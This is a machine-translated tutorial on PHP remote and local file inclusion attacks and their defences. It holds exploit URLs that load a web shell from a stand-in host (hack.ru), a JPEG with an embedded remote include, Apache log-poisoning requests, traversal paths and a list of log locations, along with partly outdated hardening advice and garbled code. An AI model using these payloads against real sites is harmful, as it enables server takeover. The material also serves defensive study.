This page has been robot translated, sorry for typos if any. Original content here.

PHP-include and protection methods



  • Global Inclusion
  • Protection against global inclusions
  • Local Inclusion
  • Logs apache
  • Protection against local inclusions


  • Introduction

    Global Inclusion

    The most dangerous of web vulnerabilities, but unfortunately, or fortunately, is extremely rare in our time. For an attack it is necessary that the allow_url_include function be enabled, that is, "On"
    The vulnerability allows an attacker to execute arbitrary php code on the server.
    There are four functions in PHP to include files in PHP scripts:

    * include ();
    * include_once ();
    * require ();
    * require_once ().

    The include () function includes the contents of the file in the script. Consider an example of a "double" vulnerable code:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      else
     
      {
     
      include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Using the condition, we check if the element of $ _GET ['page'] is passed to the server via url, then we call the function include () . Due to the fact that the value of the $ _GET ['page'] array is not checked for existence, an attacker can perform an attack using the file_exists () function:

    http://site.ru/index.php?page=http://hack.ru/shell Otherwise, we include include ($ file. '. php'); There is the same situation, just writing the code is slightly different. Variable $ file not
    There was a certain early and an attacker could execute php code remotely:
    http://site.ru/index.php?file=http://hack.ru/shell The include_once () function is practically no different from include () , with one exception: before including a file in a program, it checks, not whether it was included earlier. If the file has already been included, the call to include_once () is ignored, and if not, the standard inclusion of the file occurs.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In this example, the extension '.gif' is automatically assigned to the file being loaded.
    There are two ways to get rid of the extension '.gif':
    1) if magic_quotes_gpc = Off then you can use "toxic zero" -% 00 which will cut the extension
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) even if magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? The require () function is similar to include () , with the exception of one — the file specified by the require () parameter is included in the script regardless of the location of the require () script.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    attack is similar, but in this case the extension is not attributed:
    http://site.ru/index.php?page=http://hack.ru/shell.php The require_once () function loads a file into a script only once.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Attack is similar ...

    Now consider another option includa. This time it is necessary that in the php.ini file
    the value of the allow_url_fopen parameter was On , which is the default.
    PHP code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Due to the fact that the $ file variable was not previously defined, an attacker could launch an attack:
    http://site.ru/index.php?file=http://hack.ru/shell As a result, we again get the web shell.

    The following example uses the readfile () function .
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    The readfile () function reads a file whose name is passed to it as a parameter and displays its contents on the screen.
    As a result, we again get the web shell:
    http://site.ru/index.php?file=http://hack.ru/shell Now consider this option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Using the implode () function, we combine the elements of the array into a string, and using the file () function, we obtain the contents of the file as an array. As a result, we again have a web shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Protection against global inclusions

    Of course, you can check the file for existence using the file_exists () function and filter out unwanted characters using str_replace () , but I recommend using the switch case construct:

      <? php
     
      global $ page ;
     
      switch ( $ page )
     
      {
     
      case '' :
     
      include ( "pages / main.php" );
     
      break;
     
    
      case 'index' :
     
      include ( "pages / main.php" );
     
      break;
     
      case 'page1' :
     
      include ( "pages / folder / page1.php" );
     
      break;
     
      case 'page2' :
     
      include ( "pages / folder / page2.php" );
     
      break;
     
    
      default:
     
      include ( "pages / hack.php" );
     
      break;
     
      }
     
      ?>
    
    
    I also recommend editing the php.ini file :

    allow_url_include = Off // prohibit remotely enable files
    allow_url_fopen = Off // do not allow fopen to open links
    register_globals = Off // disable initialization of global variables
    safe_mode = On // turn on safe_mode (the hacker will not have access to / etc / passwd and the like)

    Local Inclusion

    Not less dangerous vulnerability in the web. Allows an attacker to include files lying on the server. Many newcomers are faced with this web coding error throwing the case, because they do not know how to proceed, and in what direction to dig. I will give a general example:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Globally it will not work out, because the $ file variable is assigned after the / include / directory
    What can be done?

    The ideal case is considered when the site is either a forum or another form with which you can download any file with any extension.
    The question arises - why with any extension? Take for example a fictional site where you can upload avatars through the forum. There is a script on the forum that checks if the user actually uploaded the photo? Open the paint and save any image for example in jpg format. After that we open it with a notepad and after the image code we write <? Php include ("http://hack.ru/shell.php"); ?> As a result, we get something like this:
    			
     JASHA JFIF `` CLEAR C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342АЫ C 			  
    
      2!  ! 222222222222222222222222222222222222222222222 22222яА 6 6 "poison                    	
      poison µ}! 1A Qa "q 2Ѓ'Ў # B ± B RСр $ 3br‚	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "… † ‡ € ‰ Љ" "" ––—˜ ™ Ё§Y © ЄІІґµ¶ · є                       	
      POISON µ w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rр brС
    
      $ 4b% with & (() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz "...  chj (Ђ
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
    
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ўЂÑ BOX
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Now this picture can be uploaded to the forum and it will be perceived exactly as a picture.
    Let us return to the question of expansion. Why do we like any? The fact is that the include () function
    loads code from one file into executable file. Here is an example:
    http://www.site.com/index.php?include=../forum/images/shell.jpg As a result, in the file index.php the code <? php include ("http://hack.ru/ shell.php "); ?>

    Logs apache

    As it is known, apache keeps httpd-access.log and httpd-error.log log files and all requests.
    naturally logged and written to the appropriate files. Here is their approximate location:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    I will give an example on lokalkhost, I think many will be more understandable. Using the InetCrack program , I send a package with this content:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    The packet header is recorded in the apache logs, located at:
    Z:\usr\local\apache\logs\access.log following line is written in this file:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 I think the essence is clear. It remains for us to incline him:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log And get a web shell :)

    Protection against local inclusions

    Here is a small example of how you can reliably defend yourself:
      <? php
     
    


    function stripslashes_for_array (& $ array )
    {
    reset ( $ array );
    while (list ( $ key , $ val ) = each ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = stripslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = stripslashes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'file' ])) $ file = $ _GET [ 'file' ];
    else
    {
    if (isset ( $ _POST [ 'file' ])) $ file = $ _POST [ 'file' ]; else $ file = '' ; } $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ file . '.php' ) || $ file == 'index' ) { $ file = 'news' ; } include ( "include" . '/' . $ file . '.php' ); ?>

    And so, what is happening here? Each element of the array is checked by the stripslashes () function. She kills backsleshi. Next, check whether the value of the array element is set or not. Filter out invalid characters (' / ', ' . ') With the str_replace () function. If the file does not exist (we check with the help of the file_exists () function) - assign the value of the variable $ file = 'news'. In other cases (when the file exists) we include it.